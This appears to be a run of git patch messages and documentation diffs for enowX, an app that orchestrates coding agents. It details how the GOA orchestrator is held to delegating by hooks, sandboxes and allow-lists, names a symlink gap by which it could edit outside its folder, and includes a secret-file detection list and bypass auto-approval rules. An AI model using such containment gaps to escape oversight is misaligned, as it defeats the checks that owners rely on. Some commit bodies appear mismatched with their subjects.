Subject: [PATCH 001/222] Deliver queued GOA tasks to sessions on other hosts
 and sessions already done

Only a change of a session on GOA's own host gave a queued task. The app's word
for another host's session (goa.worker) moved the board and stopped there, and
the stall watch skipped any session that said it was done, so a task queued for
another host's session never went in. Neither did one for a session whose turn
ended before the task was queued, or one brought back by a restart with no state.

Tasks now go one at a time, the next only once the one before stops running. What
can't go in fails on the board and tells GOA, which a failed typing didn't do, and
a task queued on a session later hibernated brings it back.

+A task for a project goes to that project's own session, even busy, asking, hibernated or started with other permissions (`goa delegate --project`, `core/goa.PickSession`). A busy one has it queued, shown so on the board and kept over a daemon's restart, delivered at its turn's end, oldest first and one at a time; a queued task goes in only once the task before it has stopped running. Its turn's end is heard from its hooks, or for another host's session from the app. A session whose end went unheard (an interrupt, a daemon's restart, a turn over before the task came) gets it from the stall watch, once its screen has been still for 20 seconds with nothing running. A hibernated session is brought back first. If it can't go in, because its session ended or is gone, can't be brought back, or typing failed, the task fails, the board says why and GOA is told; a failed typing isn't tried again, as it may have gone in. A host that can't be reached keeps it queued, and GOA is told once. A new session starts only when the project has none, or on `--branch` or a named `--config`, what the user asked for, and delegate says so. Worktrees and shell tabs don't take a project's tasks. A queued task goes in when its session's turn ends, or, its turn's end unheard as after an interrupt, once its prompt is really free: hooks gone stale, its screen still for 20 seconds, nothing running, and it neither works nor asks by what it shows.
 
 A task that isn't moving goes to `stalled` on the board until its screen moves, and GOA gets one line naming how, for how long and what the screen shows; a further one comes only after three times the limit, and again each time that passes while it stays stalled. The hook event `session.stalled` fires once per stall, with no hook needed for GOA to be told.

Subject: [PATCH 002/222] Don't ask for the screen's scale in the reconnect
 test

On a host with Xpra the app asks for it as it connects, which waits for a
window's loop the test doesn't have, so the sessions never showed. CI has no
Xpra, so it only failed on machines that do.

Subject: [PATCH 003/222] Keep a busy daemon through an update, and bring back
 what a restart stops

Restarting after an update replaced the daemon, whose terminals its sessions'
programs run on: agents mid-turn stopped, an agent in a shell tab came back as a
bare shell that ran what was sent to it, and commands ended unsaid.

The daemon is now replaced only when that stops nothing, or when the user says so;
a card says what would stop. A restart that does happen tells an agent mid-turn to
carry on, once, brings an agent in a terminal back on its conversation in its mode,
never with its prompt, and says what commands ended.

 The app's main thread is watched: asked to answer every second, it leaves a report in `watchdog/` under the data folder when it takes over 0.7 seconds (at most once a minute: lag) or 3 seconds (a stall). A report holds every goroutine's stack, whether a frame was being built, and what was on screen as of its last answer (the page, session, agent and style, never what's in them). The newest 30 stay. `watchdog/app.log` and `watchdog/daemon.log` get a line every 5 minutes with the Go heap, its objects, goroutines and slow frames, so growth over hours shows, and a mark when memory jumps. A panic's stack goes to `app.log` or `enowxd.log`; a process killed from outside leaves no report, and its next start says `lastRun=unclean`. All the logs, their limits and how to get them: [diagnostics.md](diagnostics.md).
 
+## When a daemon restarts
+
+A session's program runs on a terminal the daemon holds, so a daemon that stops ends it. So an update waits while that would cost anything ([updates.md](updates.md)). When it does stop (asked for, Settings' **Restart the daemon**, a server's reboot), what can come back does:
+
+| What ran | After a restart |
+|---|---|
+| An agent, idle | Back on its conversation, in its mode, model and permissions |
+| An agent mid-turn | The same, and told once to carry on from where it stopped, checking what already ran. Its prompt isn't sent again. Only when the daemon stopped in an orderly way: a crash notes nothing |
+| An agent run by hand in a terminal | Back on its conversation (its `--continue`, or its `--resume ID`) and then the shell, with its mode, model and permission flags alone, so never a prompt or a key. A one-shot run (`-p`, `exec`) isn't brought back |
+| A command in a terminal | Ended, and never run again. The terminal says what it was, the app says so as it connects, and the shell comes back |
+| GOD of Agents' board, lines waiting for it and tasks queued | Kept on disk, and carried on |
+
+Each step goes in the daemon's log (`restart.*`, [diagnostics.md](diagnostics.md)).
+
+What each system gets today is the same on macOS, Linux and Windows, and on remote hosts. Keeping programs alive across a daemon's replacement isn't built yet: a small process holding the terminals would do it on macOS and Linux, and Windows' ConPTY needs its own answer.
+

 - A little after it starts (15 s) and every 6 hours, the app asks for a newer version, unless **Check for updates automatically** is off in the update dialog.
 - A version found shows in a card at the window's bottom right: **Update now** installs it there, **What's new** opens the dialog, **Later** puts the card off until the app starts again (each launch shows it again, until the version is installed or skipped). It also stays as **Update to x.y.z** in the title bar.
 - The chip opens the dialog: the release notes, then **Install update**, **Later** or **Skip this version** (a skipped version shows again only when asked for). Installing shows its progress and can be cancelled; the running app goes on meanwhile.
-- **Restart now** runs the new version. Its daemon is of the same version, so the app replaces the local one as it connects (`hostconn`), and the daemon brings the sessions back, agents continuing their conversations. Servers' daemons are upgraded the same way at their next connection.
+- **Restart now** runs the new version. Sessions keep running: their programs belong to the daemon, which outlives the app.
+- **The daemon updates only when that stops nothing.** As the app connects it asks the daemon what a restart would stop now (`daemon.restartPlan`): agents at work or asking, and what runs in terminals. With nothing, the app replaces it, as before, and idle agents come back on their conversations. Otherwise the daemon stays at its version and a card says what would stop: **Restart it now** (it asks first) or **When agents are done**, which replaces it once the plan is empty. Ignored, the card changes nothing, and the next connection looks again. Servers work the same way, by the daemon they already run. A daemon too old to say (0.6.2 or before) is judged by its sessions, every terminal counting, as it can't say what runs there. See [daemon.md](daemon.md#when-a-daemon-restarts).
 - **Check for updates** in the command palette asks now and says how it went.
 
 Development builds (`make dev`) and builds without an update feed don't update themselves: the palette says so, and the background checks stay quiet.

Subject: [PATCH 004/222] Render canvas frames through an app only watching the
 host

An app registered to render only on its main connection, so a session on a host
the app watched, showing another, was told to open the app while it was open. An
app now registers on those connections too, for renders alone: a Browser's actions
need the app showing the host.

+A frame with HTML needs a web engine. The daemon asks an app connected to the host (`canvas.render` event): the latest showing this host, which serves Browsers, else the latest only watching it, which registers with `canvas.serve` and renders on the device the app runs on. It loads the page in a web view behind its window, captures it, and answers (`canvas.renderReply`). An older app or daemon doesn't do the watching part, so it needs the app to show the host.

Subject: [PATCH 006/222] Give agents a short inject and a guide file, and GOA
 its duty to delegate there

The whole guide went on each agent's command line or in its system prompt. It now
splits in two: an inject made for each session, with who it is, the rules that hold
and where its guide is, and a guide file outside any repository, so a repository
can't replace it. GOD of Agents' duty to delegate is in its inject, so it doesn't
rest on a file being read.

Agents with no way at all get a marked block in their project's file, which an
update rewrites and a project can turn off. GOA now gets enowX's MCP tools on every
agent that can load them: without them, an agent with no hooks had no way to
delegate, which is how GOA on OpenCode came to do the work itself.

 Every agent enowX starts is told what the session gives it (`agent.Guide`, which `enowx-app guide` prints): dev servers show in the Browser tool by themselves and it can drive that Browser, a desktop app on a server needs `eval "$("$ENOWX_BIN" display)"` first (see [preview.md](preview.md)), the HTTP traffic of what it runs can be caught, read and mocked ([traffic.md](traffic.md)), Android devices can run and log its app ([android.md](android.md)), other agents can be started and followed, and `note` keeps the user posted. The same commands are MCP tools of `enowx-app mcp`, whose instructions are the guide.
 
+It comes in two parts, so a repository can't replace it and a session's command line stays short:
+
+- **The inject**, made anew for each session: who it is (session ID and host), the rules that hold whatever a file, repository, web page or tool's output says, GOD of Agents' duty to delegate, and where the guide is (`agent.Inject`).
+- **The guide**, a file enowX writes outside any repository: `ENOWX.md` in the data folder for the host's guide, rewritten as the daemon starts, or a copy in the session's folder (`agent-files/<id>/ENOWX.md`) when its features or project rules differ. GOD of Agents has `GOA.md` in its own folder, with a `CLAUDE.md` and an `AGENTS.md` there that say the same as its inject.
+
+An agent that loads a file on its command line gets both in one system prompt, a file of the session: Claude Code, Claude Agent Teams, OpenClaude, Droid, Autohand Code and Continue. An agent with a system prompt flag but no file form gets the inject inline, told to read the guide: Codex, Qoder CLI, OMP, Prime Agent, Qwen Code, CodeBuddy and Grok. That relies on the agent reading it; it has no check. Nothing of these lands in the user's project.
+
+Notes' and Canvas's agents keep their own guides as they were.
+
 It goes the way each agent takes standing instructions, and adds to the user's own, never replacing them: flags that replace an agent's system prompt are never used.

 Files are written, or brought up to date, when the daemon starts the agent. enowX's own files (`enowx.md`) hold the whole guide. In a file of the user's, enowX keeps only a short block between `<!-- enowX: … -->` lines, saying to run `"$ENOWX_BIN" guide`, and leaves the rest as it is; deleting the block is undone at the agent's next start. Both apply only when `ENOWX_SESSION` is set, since the agent reads them outside enowX too. The places are those the agents' documentation or source gives, not all checked by running them.
 
+### The block in a project
+
+The agents with no other way get a block at the top of the project's `AGENTS.md`, or its `CLAUDE.md` if that is the one it has, between `<!-- enowx:start -->` and `<!-- enowx:end -->`. It says where the guide is, by no path of this machine's, and applies only when `ENOWX_SESSION` is set. The rest of the file stays as it was, and an update rewrites the block rather than adding another. **On by default; a tracked file shows it in `git diff`, and it would be committed with it.** A new `AGENTS.md` it makes goes in `.git/info/exclude` instead. `enowx-app project settings --guide-block off` (`[guide] block = false` in `.enowx.toml`) takes it out. No other agent writes into a project.

+Every agent with a documented way to add an MCP server to one session gets enowX's, GOD of Agents' session included: Claude Code, Claude Agent Teams, OpenClaude, Kimi and Copilot on their command line, Codex through `-c`, OpenCode and Kilo Code through their config's environment variable. The others have none enowX can use without writing the user's own settings: they use the `"$ENOWX_BIN"` commands, which any agent that runs a shell has.

 Nothing here writes an agent's settings file. A block in an instructions file is the one lasting change enowX makes to a file of the user's, kept between markers with the rest untouched; OpenCode and Kilo Code no longer need one, and a block an older enowX left in OpenCode's file stays, harmless, until the user removes it.

Subject: [PATCH 009/222] Don't stop a session in bypass for routine work

Bypass didn't mean what it says: a plugin hook's ask still prompted, and enowX's own
trim asked in a session switched to bypass after it started, as it went by how the
session started rather than the mode the agent reports.

The rewrite now goes by the mode. What still prompts is answered by one policy, through
the agent's PermissionRequest hook, or by the screen for an agent without one: routine
work passes, and what the urgent rules or a sure judge hold for the owner doesn't. A
hook's deny never gets that far, and a session not in bypass asks as before. Each answer
is in decide log.

Checked on Claude Code 2.1.318 in a real terminal.

+**A session in bypass doesn't stop for routine work** (`daemon/bypass.go`). What still prompts there, another hook's or plugin's ask or the agent's own check, is answered allow without reaching the user. Three things stay as they are: a hook's deny (the agent never asks after one), what GOA's urgent rules hold for the owner (`goa.Urgent`: can't be undone, spends money, publishes, touches secrets) and what the judge, sure of itself, doesn't allow. A session not in bypass asks as before. Each answer, either way, is in `decide log --use bypass`: what was asked, by what, and why it passed. Bypass goes by the mode the agent reports with each call, so a session switched to it later counts; an agent that reports none goes by how it started.

+| Agent | What answers | Checked |
+|---|---|---|
+| Claude Code, Claude Agent Teams | Its `PermissionRequest` hook. The prompt can show for an instant first, for as long as the judge takes | Run on 2.1.318: a hook's ask, a rewritten command, a deny, and bypass prompting without it |

+| Others that report no mode | The screen: enowX presses allow if the session started in bypass and it knows the agent's keys | **Not run.** A prompt it can't read or has no keys for stays the user's |
+| An agent run by hand in a shell tab | Nothing new: it isn't known to be in bypass | |
+
+No hook can tell Claude Code's `PermissionRequest` who asked: the log says it was the agent's prompt, not which hook. Its built-in checks on `rm` and on `.git` and `.claude` paths didn't prompt under bypass on 2.1.318 for literal paths, so nothing was seen to answer there.
+
 **Approving commands and trimming** act through hooks ([hooks.md](hooks.md)). While their use is on, enowX adds its own built-in hook for each, with no hook to add (`core/hooks/builtin.go`); a `tool.before` hook of the user's with the same action replaces the built-in one, its conditions then saying which commands are covered. GOD of Agents and its workers are judged by GOA instead ([goa.md](goa.md)). Settings → Decisions → Uses has **Set your own…** for each, to change what it covers:
 - **Approve:** `tool.before`, action `judge`, Tool `^(Bash|shell|exec_command)$`.
 - **Trim:** `tool.before`, action `trim`, Text matching test, build and install commands, also behind a `cd`, an `export` or a variable set before them. The command then runs as `enowx decide trim -- <command>`, what comes before it staying outside for the agent's shell to keep. Output up to 150 lines and 12,000 characters passes through as it is, shown in the log as `short: passed on whole` for those commands, so that "never used" can be told from "nothing was long"; longer output is trimmed by the judge. The switch **Any command** covers every command a shell tool runs: exact content the agent asked for (`cat`, `sed -n`, `git diff`, `git show`, reads of a file) is cut only when the judge is at least 97% sure, and the whole output stays in the file it is told about, with its exit code unchanged. It leaves unwrapped what wrapping would break: what changes the agent's shell further on, and what never ends (dev servers, `tail -f`, what runs in the background, full-screen programs). It is off until tokens saved are measured against wrong trims and latency, which `decide log` shows. An agent started by hand in a shell tab has no hooks from enowX, so nothing is trimmed there. On Codex out of bypass a wrapped command can't be approved by a hook, so it comes back refused with the command to run instead.

Subject: [PATCH 010/222] Tell GOA of a worker's turn in one line, with its
 real last message

A turn reached GOA twice, by routes that knew nothing of each other: its goa report,
a tool call made before the turn ends, and its end, whose text was the transcript's
last assistant message at that moment. Claude Code's transcript lags its Stop hook, so
that could be an older message, even one from mid-turn.

The text now comes from the agent's turn-end hook where it says it, and else from a
transcript that holds the turn's end. A report made at work waits briefly for its
turn's end to join it. Another turn keeps its own line, and a question or a failure is
never merged.

 2. `goa report --outcome done|partly|nothing|blocked|refused|failed "what happened"`, which every task's prompt asks for at the end of each turn. The report stays on the session, on its own host, and reaches GOA as the session's changes do, through the app for another host's. It goes on the task as `Outcome`.
 3. For an agent with no hooks, one started by hand in a shell tab, and one whose hooks fail: the screen. A session no hook speaks for, still for 20 seconds, using under 20% of a core (an agent at rest isn't at 0), showing a turn's end (the time it took, or a prompt mark alone on its line) raises a report, not "isn't moving". Only what follows that end can say otherwise: the turn's own words above it and a footer's under it don't. A screen only quiet, with no such sign, stays a stall line. A session GOA sent something to with no task is watched the same way, on any host: it reports its turn's end, says once if it goes quiet for the idle limit with no sign why, and says if it is gone. A shell with no agent, back at its prompt, has finished: one line, once. Those two lines only say to look: they never keep GOA's turn going, and reading the session takes them back. Whatever a line says, a turn's end is kept going only once for one session, until GOA reads it or sends it something; further lines wait for its next tool call or its idle moment.
 
+**One line per turn.** A turn's report and its end reach GOA as one line. A report made while the agent works waits up to 30 seconds for its turn's end, and that end joins it. A turn's end still waiting for GOA takes a report that comes after it. A report whose moment has passed goes alone, and the turn's end then has its own line. Lines of one session never change order; a question, a failure or a correction is never merged and comes after what was held. Each real turn has its own line, also when several wait for a busy GOA.
+
+**The message is the turn's real last one.** Where the agent's turn-end hook says it (`last_assistant_message`: seen on Claude Code 2.1.318), that is the text, which goes along with the session's updates (`SessionInfo.TurnText`), so it reaches GOA on another host too. Otherwise the transcript is read until it holds the turn's end: its last entry is a message, not a tool's call. Claude Code's transcript was seen over a second behind its Stop hook. Six seconds on, the line says the message isn't recorded yet and where to read it, rather than give an older one.
+
 What the session doesn't say, enowX says for it: its process exiting or crashing, with the exit code and its last words, marked `NoReport` on the board and never shown as at work; a turn interrupted; a limit its agent showed; a lost sign-in, as what it asks; going silent, as a stall line; a host that can't be reached, once, after the idle limit.
 
 A line stays until it has gone in: kept in `goa-tell.json` while GOA is busy, hibernated or stopped and over a daemon's restart, put back if typing it fails, the newest 200 kept. Only a stall line of a task since settled is dropped, as moot; a report isn't. With no GOA on the host at all there is no one to tell.

Subject: [PATCH 011/222] Run a session's config on OpenCode 2, whose
 background server ignored it

OpenCode 2 owns its configuration in one background server per user, so what a session's
environment said was ignored once that server ran: the config's models weren't listed
and the session ran on OpenCode's free ones. enowX's guide and tools were lost the same
way. Sessions now start with --standalone from version 2; 1.x doesn't start with it.
OpenCode 2's own preset also takes a config now.

 Files are written, or brought up to date, when the daemon starts the agent. enowX's own files (`enowx.md`) hold the whole guide. In a file of the user's, enowX keeps only a short block between `<!-- enowX: … -->` lines, saying to run `"$ENOWX_BIN" guide`, and leaves the rest as it is; deleting the block is undone at the agent's next start. Both apply only when `ENOWX_SESSION` is set, since the agent reads them outside enowX too. The places are those the agents' documentation or source gives, not all checked by running them.
 
+### OpenCode 1 and 2
+
+OpenCode 2 is another program (`@opencode/cli`) that may answer to the same `opencode` command. It runs one background server per user, which owns its configuration, so what a session's environment says (a config's provider and model, enowX's guide and tools) is ignored once that server runs. So enowX starts `opencode` with `--standalone` when it reports version 2 or later, giving the session a private server and leaving the user's alone; 1.x doesn't start with that flag. A session's config holds the provider in both versions' forms. A plugin named in the user's own OpenCode config loads as it does anywhere: enowX adds none. A session started this way doesn't show in other clients of the shared server.
+
 ### The block in a project
 
 The agents with no other way get a block at the top of the project's `AGENTS.md`, or its `CLAUDE.md` if that is the one it has, between `<!-- enowx:start -->` and `<!-- enowx:end -->`. It says where the guide is, by no path of this machine's, and applies only when `ENOWX_SESSION` is set. The rest of the file stays as it was, and an update rewrites the block rather than adding another. **On by default; a tracked file shows it in `git diff`, and it would be committed with it.** A new `AGENTS.md` it makes goes in `.git/info/exclude` instead. `enowx-app project settings --guide-block off` (`[guide] block = false` in `.enowx.toml`) takes it out. No other agent writes into a project.

Subject: [PATCH 012/222] Let the build panel and a session's notice be closed

The build panel could only be closed once its run was done, and grew with its review
past the top of the page. It now closes at any stage, with a button or Escape, and its
body scrolls inside it. The unslop panel closes while running too, and a session's notice
can be closed until it says something else.

Subject: [PATCH 014/222] Add designshare: a design's bundle and its checks

The host checks a design before anything leaves it, and the cloud runs the same checks again on what it receives, so they live in one package neither UI nor server owns. A bundle has fields for a design and its files only: a canvas's comments, brief and chats have nowhere to go.

Subject: [PATCH 015/222] Add enowX UI's server to the cloud

Off unless its own bucket is set. Public reads, publishing from a device's token, the web sign-in that joins no team and opens only /v1/library, moderation with an append-only log, moderators the owner appoints, limits and usage. The server makes the documents people see itself and takes no host's word for a design's checks.

Subject: [PATCH 016/222] Never lose a team's item that waited

An empty folder under a canvas's ID counted as holding it, so the team's
canvas waited; the sync's place moved past it, and a failed pull then saved
the state without what waited, or a day on it was given up on. An empty
folder holds nothing now, a failed pull keeps what waited, it is asked for
hourly after a day, and a host already past items asks for all of them once,
those it has passing by on their versions.

 A team's space syncs through the cloud from every member's host signed in, every 30 seconds and soon after a change (`enowx-app team sync`, or the Notes page's sync button in a team's space, syncs now). Each file of its notes and canvases is an item, sealed on the host with the team's key: its ID a hash of its path and the team, its path sealed with its content, so the cloud learns neither. A sync takes what changed in the cloud since the last it saw and merges it with what changed on the host since then, as the user's own sync merges (a note's header field by field, its body line by line; when they don't merge the cloud's wins and the host's stays among the note's versions), then sends what changed on the host, one version after the last agreed, so a change made meanwhile elsewhere is never overwritten unseen. A file that looks like it holds a secret is not sent, and the space says which: one named as files of secrets are (`.env` files, `*.pem`, `*.key`, `*.p12`, `*.pfx`, `id_rsa` and its kin, `kubeconfig`, `.npmrc`, `credentials.json`…), or holding a private key, an API key or token (GitHub, AWS, npm, Hugging Face, a JSON Web Token, a kubeconfig's), a password in a connection string, or a secret set in a variable (`DB_PASSWORD=…`, unquoted, placeholders aside); binary files are looked through too. Agents' conversations with a note or canvas, their proposals and the versions kept for undo stay on the host. Viewers' hosts take the team's changes and send none. A host whose account left the team, or was removed, deletes its copy of the space at its next sync.
 
+A sync asks again for what it couldn't take yet, a failed pull keeping its place, and never gives up: after a day, once an hour. An empty folder doesn't count as holding a note's or canvas's ID. A host upgrading from a version that could lose those asks for every item once, skipping those it has.
+
 What a sync takes is checked on the host, not left to the cloud. A deletion carries a mark sealed with the team's key, naming the file, which the cloud can't make: one without it leaves the host's copy as it is (older versions deleted without a mark: a deleted file the host never had stays away). The cloud says which device wrote each item and, asked for the team, each member's role; from these a host takes the team's projects (`projects.json`) only from an admin's device, a project's rules from an admin's, or a member's when its members edit them, a chat message only as written by its author's device (deleted by them or an admin), a shared host's announcement only from that host, and the kit from members, never viewers. What isn't taken leaves the host's copy, and is not sent back as its change; while the members can't be read, those files wait for a later sync. A team's note or canvas never takes an ID another space here holds (the user's own, or another team's), and an edit of a note is saved in the space it was opened from, so a team's copy can't stand in for one elsewhere.
 
 The first sync of a team on an admin's host starts the team's key, with its check, and seals it for every member's device; afterwards each host holding keys seals every epoch's it holds for the members' devices that lack it, a new member's or a new host, when it syncs, so they read what was written before a member's removal too.

Subject: [PATCH 017/222] Keep decide trim from changing what a command does

The statements before a command were found by a pattern reading across
lines and quotes: a cd on the first line took everything up to the first ;
as its own, a heredoc's lines or a for's header included, so the trimmer was
inserted in the middle of them. A statement is now read as the shell reads it,
and only a plain one on the first line stays outside. A plain variable no
longer does, as the command wrapped wouldn't see it.

A design becomes a draft on the host, checked and packed with its picture, and leaves only once the user says so. Drafts and which item a design became stay in the host's own folder. The feature is registered without tools: agents point users at the form, they don't publish.

Subject: [PATCH 020/222] Add sharing a design to the community library

A design's right-click menu opens the form on a draft the host checked: what goes public, what stays private, what the check found. Sending waits for the prompt's approval and the rights statement. The entry shows only when the host's cloud says it has a library.

Subject: [PATCH 021/222] Confirm a program is the agent before using it

The database migration tool installs as goose too, and it was told apart by
what its version prints, which changes with its versions; and a session
started whatever was on the PATH without asking. Goose is now confirmed by its
help, which lists sessions, a real agent behind the tool on the PATH is found
by its path, and a session on the other program is refused saying why.

+# enowX UI, the community library
+
+People share designs from their canvases to `ui.enowx.ai`, where anyone can browse and try them. The website lives in its own repository, `enowx/enowx-ui`, and holds no logic: every decision on who may see or do what is made by the cloud, in `cloud/library`.
+
+## Parts
+
+| Where | What |
+|---|---|
+| `core/designshare` | A design's bundle (`enowx-design/1`), its checks, its draft prompt, drafts on a host. The host and the cloud run the same checks |
+| `core/designshare/thumb` | A design's picture as a WebP. Apart, so the cloud doesn't carry an image encoder |
+| `proto/library.go`, `daemon/library.go`, `daemon/rpc_library.go` | `library.prepare`, `saveDraft`, `deleteDraft`, `publish`, `status`, `withdraw` |
+| `ui/canvasview/library.go` | The entry in a design's menu, the form, the status dialog |
+| `cloud/library`, `cloud/store/library*.go`, `cloud/api/library.go` | The API under `/v1/library`, its data, the web sign-in, moderation |
+
+## Off unless set up
+
+The library is off unless the cloud has `ENOWX_CLOUD_LIBRARY_R2_BUCKET`, which needs Postgres. `GET /v1/info` then says `features: ["library"]` and the website's address in `libraryUrl`. The app offers sharing only when the cloud it was set to answers so: a team's own cloud is unaffected, and nothing reaches any other service.
+
+| Variable | What |
+|---|---|
+| `ENOWX_CLOUD_LIBRARY_R2_BUCKET`, `_R2_ACCOUNT_ID`, `_R2_ACCESS_KEY_ID`, `_R2_SECRET_ACCESS_KEY` | The bucket, apart from teams' files, and a token that can write it |
+| `ENOWX_CLOUD_LIBRARY_PUBLIC_URL` | The website's address, for credits and links |
+| `ENOWX_CLOUD_LIBRARY_RETURN_URL` | Where a sign-in sends its code (`https://ui.enowx.ai/auth/callback`). Only from here, never from a request |
+| `ENOWX_CLOUD_LIBRARY_WEB_SECRET` | What the website's server proves itself with. Without it the website can't sign anyone in |
+| `ENOWX_CLOUD_LIBRARY_ADMIN_TEAM` | The team whose owner and admins moderate |
+| `ENOWX_CLOUD_LIBRARY_DIR` | For developing: a folder instead of a bucket |
+
+The cloud now imports `core/autopush`, `core/canvas` and `core/designshare`: a deploy that watches paths has to watch those and `proto/` too.
+
+## Publishing
+
+1. A design's menu says **Share to Community Library** when the cloud has one. Signed out, it asks to sign in.
+2. `library.prepare` checks the design may leave its space (a team's only when its admins allow copying out), packs it, puts known CDNs' scripts inside it (a preview loads nothing else), checks it and makes its picture, as a draft in `library/` in the host's folder.
+3. The form says what becomes public and what stays private. Sending waits for the prompt's approval and the rights statement, and warnings wait to be accepted.
+4. `library.publish` checks once more, then creates the item, uploads, and submits. **The cloud repeats the checks** and makes the documents people see itself from the bundle: a host can't send its own.
+
+A bundle has fields for a design and its files alone, so a canvas's comments, brief, history and chats can't come along. The prompt is written from the design's structure and what the creator typed; a canvas's chat is never read. Agents and the command line can't publish: the form is the only way.
+
+A new account's designs wait in review; once one is approved its next ones go live directly. A new version keeps the address; what it says of the item shows only once it's live, and changing an item's kind goes through review again. Unpublishing answers 410 from then on, and the objects go after 30 days.
+
+| Check | Result |
+|---|---|
+| A secret in the page, title, description, prompt or files; a known tracker; a form sending a password elsewhere | Refused |
+| An email or phone number, an internal address, a request out, a link elsewhere, a script changing the address, a refresh, a `<base>`, a file | A warning to accept |
+
+A finding says where and of what kind, never the value. The patterns can't know every secret, which is why the warnings and the creator's statement stay.
+
+## Limits
+
+| Limit | Number |
+|---|---|
+| A version's bundle | 10 MiB |
+| A picture | 300 KiB, 1200 px wide, WebP |
+| A component | 64 KiB of HTML and CSS, no scripts |
+| An account | 200 MiB kept, 50 items live, 5 versions an item, 20 uploads a day; a new one 3 in review |
+| The bucket | 100 GiB kept, 30 GiB written a month; moderators are warned at 70% |
+
+A full bucket stops publishing, with a message; reading goes on. Public reads are limited per address, and a few run at once so the teams' sync keeps its database connections. The website's own requests carry its secret and aren't counted as one address.
+
+## Signing in on the website
+
+The website sends the browser to `/library/authorize` with a `state` and a PKCE challenge. The cloud signs them in with GitHub, or knows them already, and sends them back to the configured address with a code good once, for a minute. The website's server trades it, with its secret and the verifier, for a token (`enxl_…`) kept in its cookie.
+
+That token opens `/v1/library` and nothing else, and can't publish. This path never joins the default team and starts no session of the cloud's own pages.
+
+## Moderating
+
+The admin team's owner and admins moderate, and so do moderators the owner appoints from the website's admin page: only the owner can appoint or remove them. Moderators can't be blocked until the owner removes that role.
+
+Every decision needs a reason and goes in `library_log`, which the store can only add to: approving, rejecting (the reason reaches the app), taking down, picks, reports, blocks, unblocks, appointing and removing moderators. An upheld report takes the item down and makes its owner new again. Blocking takes down what an account shows and stops it publishing. Who reported is for moderators alone. Accounts' emails are never in an answer.
+
+## API
+
+| Access | Endpoints under `/v1/library` |
+|---|---|
+| Anyone, limited per address | `GET items`, `GET items/{id}`, `GET items/{id}/versions`, `GET items/{id}/prompt` (403 when view only) |
+| The website's secret | `POST items/{id}/escaped`, `POST auth/exchange` |
+| A device | `POST items`, `PUT items/{id}/versions/{v}/{source,thumb,thumb-phone}`, `POST items/{id}/versions/{v}/submit`, `GET mine` |
+| A device or a web session | `DELETE items/{id}`, `GET me`, `POST reports`, `POST auth/signout` |
+| Moderators | `GET admin/queue`, `GET admin/items/{id}/versions/{v}/{doc,doc-phone,thumb,thumb-phone}`, `POST admin/items/{id}/decisions`, `POST admin/reports/{id}/decisions`, `POST admin/accounts/{id}/block`, `.../unblock`, `GET admin/log`, `GET admin/usage` |
+| The owner | `GET admin/accounts?q=`, `GET admin/moderators`, `POST admin/moderators`, `DELETE admin/moderators/{id}` |
+
+Objects are in the bucket as `items/<id>/v<n>/{source,doc,doc-phone,thumb,thumb-phone}`, `source` and `doc` gzipped.
+
+## What this phase leaves out
+
+Copying a component's code, Open in enowX, references and skills (`code`, `source` and `skill` have no endpoints yet, though an item's `actions` already say what its license allows), full-text and meaning search, profiles, saves, and exporting or deleting a profile.

Subject: [PATCH 023/222] Keep the library's menu current, delete drafts, start
 updates from what shows

Signing in or a moderator's decision happen elsewhere, so an open menu asks again. An update starts from the item's own title and prompt, its approval and rights said again.

Subject: [PATCH 024/222] Run GOD of Agents on OpenCode, held by its config

OpenCode has no hooks, and its GOA was only told to delegate; from version 2,
a running background server ignored the session's config altogether. It now
gets a config for its version, with --standalone or a plugin, and keeps it
through a restart, when it came back with every tool. GOA edits only in its
own folder on every agent, and is offered only where it was seen to hold.
Its MCP server offers 11 tools rather than 222, and its guide stops promising
a shell.

 - **Every feature on**, its guide `agent.GOAGuide` first: delegate, don't work; don't poll; who answers which permission; keep the board and its collection.
 - **Its permissions asked**: enowX's own tools are allowed (Claude Code's `--allowedTools mcp__enowx`, Codex's MCP server approved) and reading is allowed by its hook, unless the path looks like a secret; an edit goes by the session's permission mode: Claude Code asks unless it is in auto mode or the like; Codex writes in GOA's folder and the system's temporary folders unasked, its sandbox stopping the rest.
 
+### Only on agents proven to hold it
+
+GOA is offered only on agents run for real as GOA, a model pressed to work by itself getting nowhere: Claude Code (and its teams), Codex, OpenCode. On any other agent starting it is refused, saying why, and `goa agents` lists the reason; a GOA already running there goes on. Qwen Code and Goose come next, by the same test. OpenCode from a major version not tested yet is refused too.
+
+**Edits stay in its own folder**, on every agent, and not its agent's settings there (`.claude`, `.codex`, `.opencode`, `opencode.json`), loaded at its next start. On Claude Code the hook refuses the rest, links followed; on Codex its sandbox holds, which also allows the system's temporary folder.
+
+**A link in its folder, on OpenCode 2:** its rules go by the path asked for, not where it leads, and it has no plugin to look. GOA can't make one without a shell, and starting refuses when one leads out, but a link another session makes in that folder while GOA runs is a way out until the next start.
+
+**Its tools:** its MCP server offers 11 (`goa_*`, the sessions' it needs, `enowx` for every other command), about 3,000 tokens a request against about 40,000 for all 222. **`opencode run --standalone`** may offer enowX's tools only from its second request; enowX starts the TUI, where they came with the first in these runs. Its guide tells it not to take them for missing.
+
 ### Held to delegating, as far as each agent allows
 
 | Level | Agents | How |
 |---|---|---|
 | enforced | Claude Code (and its teams), Codex | Their own hooks hand every tool call to the daemon first (`tool.before`); every tool but these is refused before it runs: enowX's MCP tools (`mcp__enowx__*`), its tools for reading and editing files, or one `"$ENOWX_BIN" …` or reading command (`cat`, `head`, `tail`, `ls`, `wc`, `grep`, `rg`, `sed -n 'Np'`, no secret named) with nothing chained, piped, redirected or substituted (`core/goa.Allowed`). Claude Code also starts with only its tools for files (`--tools Read,Grep,Glob,Edit,Write,NotebookEdit`, enowX's MCP server only, `--strict-mcp-config`, `ENABLE_TOOL_SEARCH=false` so enowX's tools load); Codex runs its commands read-only (`--sandbox read-only`). |
+| enforced | OpenCode 1 and 2 | No hooks: a config for its version offers enowX's tools, reading (not secrets) and editing its own folder, and refuses the rest. From 2, `--standalone` (or its background server ignores the config) and policies, which hold for any agent. Before 2, an agent's permissions and a plugin, kept outside GOA's folder, that hold for an agent the user switches to and through links. |
 | limited | agents whose tools can be restricted at start but have no hooks | Started with enowX's tools only. (No agent enowX knows is limited and not enforced today.) |
 | watched | every other agent | Only told. The programs GOA's session runs itself (found by the session's tag in their environment) and the files that change in the host's git projects while no other session works there are flagged to the user, with a banner; a file unchanged, or changed only in tracked files, when GOA started can be put back as it was (`git stash create` keeps that state without touching the folder). Best effort: a change GOA makes in a folder a worker works in passes as the worker's. |

Subject: [PATCH 028/222] Add Project Docs' core: metadata in the body,
 catalog, staleness, the gate and the write guard

